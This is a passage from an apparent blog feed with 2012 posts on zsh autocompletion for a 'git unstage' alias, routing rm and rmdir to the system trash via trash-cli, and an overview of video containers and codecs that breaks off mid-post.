&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; j&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;0..5}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $grid&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$j&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    grid&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$j&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;done&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oh and one last word. You might want to pipe the output to &lt;code&gt;less&lt;/code&gt; to make it
easier to read if you&#39;re on a small screen like me.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>ZSH autocompletion for git unstage </title>
    <link href="https://blog.pixelastic.com/2012/08/30/zsh-autocompletion-git-unstage/"/>
    <updated>2012-08-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/08/30/zsh-autocompletion-git-unstage</id>
    <content type="html">&lt;p&gt;I recently switched to git as my main version control system (I used to use
Mercurial before that). I quickly grasped the concept of the staging area and
used the &lt;code&gt;git add&lt;/code&gt; command extensively to add before committing.&lt;/p&gt;
&lt;p&gt;And zsh ships with nice git autocompletion features, and suggests files to add
with &lt;code&gt;git add&lt;/code&gt; when you press Tab.&lt;/p&gt;
&lt;h2&gt;Git unstage&lt;/h2&gt;
&lt;p&gt;What is missing from the basic git commands is a way to unstage a file from the
staging area. Well, I can do it with &lt;code&gt;git reset HEAD&lt;/code&gt;, but this command is a bit
tedious to type.&lt;/p&gt;
&lt;p&gt;So I created an alias, named &lt;code&gt;git unstage&lt;/code&gt; that does just that. I just added the
following lines to my &lt;code&gt;~/.gitconfig&lt;/code&gt;, under the &lt;code&gt;[alias]&lt;/code&gt; header:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;unstage&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = reset HEAD&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I can now easily add files to the staging area with &lt;code&gt;git add&lt;/code&gt; and remove them
with &lt;code&gt;git unstage&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Autocompletion&lt;/h2&gt;
&lt;p&gt;At this point, &lt;code&gt;git unstage&lt;/code&gt; autocompletion does not work. It simply suggest all
files in the current directory, while I&#39;d like it to suggest only files in the
staging area.&lt;/p&gt;
&lt;p&gt;When you create a git alias, you cannot simply add a zsh autocomplete method for
that alias (meaning, you cannot create a &lt;code&gt;_git-unstage&lt;/code&gt; method), you have to
hook your custom autocomplete logic to the underlying git method your alias
refers to. In this case, this is the &lt;code&gt;git reset&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;So, I created my own &lt;code&gt;_git-reset&lt;/code&gt; autocompletion function. Actually, I borrowed
the one already defined in &lt;code&gt;/usr/share/zsh/functions/Completion/Unix/_git&lt;/code&gt; and
tweaked it a little bit.&lt;/p&gt;
&lt;p&gt;I created a file named &lt;code&gt;_git-reset&lt;/code&gt; and put it in my &lt;code&gt;$FPATH&lt;/code&gt; so zsh will load
it when asked for autocompletion and it will overwrite the &lt;code&gt;_git-reset&lt;/code&gt; method
already defined in &lt;code&gt;_git&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is the full content of the file:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#compdef git-reset&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;_git-reset&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; curcontext&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$curcontext&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; state&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    typeset&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -A&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; opt_args&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    _arguments&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -A&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;-*&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;(-q --quiet)&#39;{-q,--quiet}&#39;[be quiet, only report errors]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;::commit:__git_revisions&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        -&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; reset-head&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;(        --soft --hard --merge --keep)--mixed[reset the index but not the working tree (default)]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;(--mixed        --hard --merge --keep)--soft[do not touch the index file nor the working tree]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;(--mixed --soft        --merge --keep)--hard[match the working tree and index to the given tree]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;(--mixed --soft --hard         --keep)--merge[reset out of a conflicted merge]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;(--mixed --soft --hard --merge       )--keep[like --hard, but keep local working tree changes]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        -&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; reset-paths&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;(-p --patch)&#39;{-p,--patch}&#39;[select diff hunks to remove from the index]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;*::file:-&gt;files&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ret&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    case&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $state&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        (&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;            local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; commit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; [[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $line&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;__git_is_committish&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $line&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[1]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                commit&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$line&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                commit&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;HEAD&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;            # Suggest files in index if `git reset HEAD`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; [[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $line&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; HEAD &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;                __git_changed_files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;                __git_tree_files&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $commit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;            ret&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;            ;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    esac&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;_git-reset&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you may have noticed this script is an almost exact copy/paste from the
original &lt;code&gt;_git-reset&lt;/code&gt; script. The only modification I&#39;ve done is in those lines:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Suggest files in index if `git reset HEAD`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; [[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $line&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; HEAD &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    __git_changed_files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    __git_tree_files&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $commit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What it does is checking the first argument of &lt;code&gt;git reset&lt;/code&gt;, and if it&#39;s &lt;code&gt;HEAD&lt;/code&gt;,
it suggests files in the staging area (&lt;code&gt;__git_changed_files&lt;/code&gt;) instead of files
in the current repo (&lt;code&gt;__git_tree_files&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;It took me quite a bit of time to figure out which method to use to get files in
the staging area as I had been looking for a &lt;code&gt;__git_staged_files&lt;/code&gt; for quite a
while and finally discovered that the &lt;code&gt;__git_changed_files&lt;/code&gt; was actually what I
was looking for.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;git unstage&lt;/code&gt; alias is quite common, you can find it in a lot of books and
websites teaching git. But it becomes much more usable once zsh does the
autocomplete for you and you can easily select files to unstage that way.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Use the system trash with ZSH terminal</title>
    <link href="https://blog.pixelastic.com/2012/08/20/system-trash-zsh-terminal/"/>
    <updated>2012-08-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/08/20/system-trash-zsh-terminal</id>
    <content type="html">&lt;p&gt;When you start using the terminal as your main file explorer instead of a GUI
one, you soon discover two important things.&lt;/p&gt;
&lt;p&gt;First, it is much faster to browse accross your filesystem, copying and moving
files in the terminal that it is with your mouse. This is hard to believe at
first (how can writing text on a dull black screen be faster than
drag&#39;n&#39;dropping ?) but it is nonetheless true (after a bit of practice, sure).&lt;/p&gt;
&lt;p&gt;The second thing is that it is also much much easier to &lt;strong&gt;permanently delete
very important files&lt;/strong&gt; as deleting a file through the terminal has no trash bin
nor any other safeguard mechanism.&lt;/p&gt;
&lt;h2&gt;Scripting a rm replacement&lt;/h2&gt;
&lt;p&gt;At first, I scripted my own rm &lt;code&gt;rm&lt;/code&gt; replacement that was manually moving files
to &lt;code&gt;~/.local/share/Trash/files&lt;/code&gt; (the common Trash directory) instead of deleting
them. But it was a bit naive and couldn&#39;t really work on removable drives nor
provide a &amp;quot;restore&amp;quot; mechanism.&lt;/p&gt;
&lt;p&gt;Fortunatly, the &lt;code&gt;trash-cli&lt;/code&gt; package on Ubuntu provides a set of methods to deal
with the trash from the command line. They have very explicit names such as
&lt;code&gt;trash&lt;/code&gt;, &lt;code&gt;list-trash&lt;/code&gt;, &lt;code&gt;restore-trash&lt;/code&gt; or &lt;code&gt;empty-trash&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;ZSH aliases&lt;/h2&gt;
&lt;p&gt;I had to resort to quite a bit of ZSH tweaking to make it a perfect &lt;code&gt;rm&lt;/code&gt;
replacement. First, I added a simple alias for the &lt;code&gt;rm&lt;/code&gt; command.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; rm&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;trash&#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I also wanted to change the default &lt;code&gt;rmdir&lt;/code&gt; command. I could have used the
same type of alias (&lt;code&gt;alias rmdir=&#39;trash&#39;&lt;/code&gt;) but I would have lost the builtin ZSH
autocompletion of directories zsh provides with &lt;code&gt;rmdir&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When you define aliases with ZSH, you can choose if you want it to autocomplete
based on the right hand side of your alias (&lt;code&gt;NO_COMPLETE_ALIASES&lt;/code&gt;) or the left
hand side (&lt;code&gt;COMPLETE_ALIASES&lt;/code&gt;). Yes, the name of the options seem wrong to me
too, but this is actually how it works.&lt;/p&gt;
&lt;p&gt;I prefer setting &lt;code&gt;NO_COMPLETE_ALIASES&lt;/code&gt; so I can use the correct autocompletion
on my commands with my aliases, but for the &lt;code&gt;rmdir&lt;/code&gt; case this was proving to be
an issue.&lt;/p&gt;
&lt;h2&gt;rmdir autocompletion&lt;/h2&gt;
&lt;p&gt;So, I started writing my own &lt;code&gt;rmdir&lt;/code&gt; implementation in a custom script. This was
merely a wrapper to &lt;code&gt;rmdir&lt;/code&gt; but putting it in its own script allowed me to
change its name and thus changing its autocomplete method.&lt;/p&gt;
&lt;p&gt;I named it &lt;code&gt;better-rmdir&lt;/code&gt;, and put it in my &lt;code&gt;$PATH&lt;/code&gt;. Here is the code&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;trash&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $@&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, this is just a wrapper, taking the initial arguments and passing
them to &lt;code&gt;trash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But I also created a file named &lt;code&gt;_better-rmdir&lt;/code&gt; and put it in my &lt;code&gt;$FPATH&lt;/code&gt; (this
is where ZSH goes looking to autocomplete methods). I just copied the code of
the original &lt;code&gt;_directories&lt;/code&gt; method (that you can probably find in
&lt;code&gt;/usr/share/zsh/functions/Completion/Unix/&lt;/code&gt;), and adapted it to fit my newly
created &lt;code&gt;better-rmdir&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#compdef better-rmdir&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; expl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;_wanted&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; directories&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; expl&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; directory&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; _files&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -/&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; -&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, I added an alias (&lt;code&gt;alias rmdir=&#39;better-rmdir&#39;&lt;/code&gt;) and everytime I ask
for an autocomplete on &lt;code&gt;rmdir&lt;/code&gt; it actually looks for the autocomplete of
&lt;code&gt;better-rmdir&lt;/code&gt;, which is the code contained in &lt;code&gt;_better-rmdir&lt;/code&gt; and which in turn
return only directories.&lt;/p&gt;
&lt;p&gt;Now I have complete &lt;code&gt;rm&lt;/code&gt; and &lt;code&gt;rmdir&lt;/code&gt; commands in my terminal that move files to
the trash.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>A small note about video encoding and formats</title>
    <link href="https://blog.pixelastic.com/2012/08/09/small-note-video-encoding-formats/"/>
    <updated>2012-08-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/08/09/small-note-video-encoding-formats</id>
    <content type="html">&lt;p&gt;Following my previous note on audio files, I made some research on video files.
I have a huge amount of video on my hard drive, so much that I actually needed
to do a bit of cleaning.&lt;/p&gt;
&lt;p&gt;That&#39;s when I discovered that I had a plethora of different file formats (&lt;code&gt;avi&lt;/code&gt;,
&lt;code&gt;mp4&lt;/code&gt;, &lt;code&gt;mkv&lt;/code&gt;) and in various resolution, quality and filesize. Also, filesize
was not always dependent on quality. I had some really heavy files that were not
better looking that smaller one.&lt;/p&gt;
&lt;p&gt;So I started some research on the Wikipedia and Google to understand more about
all those fileformats, and here are my results.&lt;/p&gt;
&lt;h2&gt;Containers&lt;/h2&gt;
&lt;p&gt;First of all, the &lt;code&gt;avi&lt;/code&gt;, &lt;code&gt;mp4&lt;/code&gt; or &lt;code&gt;mkv&lt;/code&gt; file extension denote a container
format. This container is just a box that contain video and audio stream. Not
all boxes are created equal, though.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;avi&lt;/code&gt; is a Microsoft container but gained (in)famous popularity in the first
days of p2p filesharing. This is a very simple container, able to hold one video
and one audio stream. Then, was created the &lt;code&gt;mp4&lt;/code&gt; container. This one is an ISO
box, so already much better than the Microsoft one. This actually is a good
container, allowing the use of several audio and videos streams as well as
subtitles.&lt;/p&gt;
&lt;p&gt;Then, came the &lt;code&gt;mkv&lt;/code&gt; container. It is as good as &lt;code&gt;mp4&lt;/code&gt;, and even allow more
customization, but the important point is that it is patent free. The only
downside to &lt;code&gt;mkv&lt;/code&gt; is that it is not as widely supported as the other two format,
but the specs being public and open, this is slowly changing.&lt;/p&gt;
&lt;p&gt;I also had some other extensions, like &lt;code&gt;wmv&lt;/code&gt;, &lt;code&gt;mov&lt;/code&gt; or &lt;code&gt;divx&lt;/code&gt;. &lt;code&gt;divx&lt;/code&gt; is only an
&lt;code&gt;avi&lt;/code&gt; in disguise, because of legal reasons. &lt;code&gt;wmv&lt;/code&gt; is another Microsoft
container, this one being an improved &lt;code&gt;avi&lt;/code&gt; with DRM. &lt;code&gt;mov&lt;/code&gt; is an Apple
container, aimed to media creation. A &lt;code&gt;mov&lt;/code&gt; is actually quite a powerful
container, that could be used for much more than simply media playback but also
media creation.&lt;/p&gt;
&lt;p&gt;If I had to choose, I&#39;ll pick mkv.&lt;/p&gt;
&lt;h2&gt;Video codecs&lt;/h2&gt;
&lt;p&gt;Now, what do we put in those boxes? First, a video stream. We could put an
uncompressed video stream in it, but this will result in huge filesize, so we
actually never do that.&lt;/p&gt;
&lt;p&gt;Instead, we use codec (short for &lt;em&gt;coder/decoder&lt;/em&gt;) to compress this stream in
something with a more manageable size. The most famous is DivX. DivX started as
an encoder hacked from Microsoft first avi files and was heavily used to encode
movies before sharing them online. Because of legal dispute with Microsoft, the
guys that created DivX had to recode it from scratch. In the meantime, an
opensource fork of DivX, named Xvid was created and after a few version became
even better than the original Divx.&lt;/p&gt;
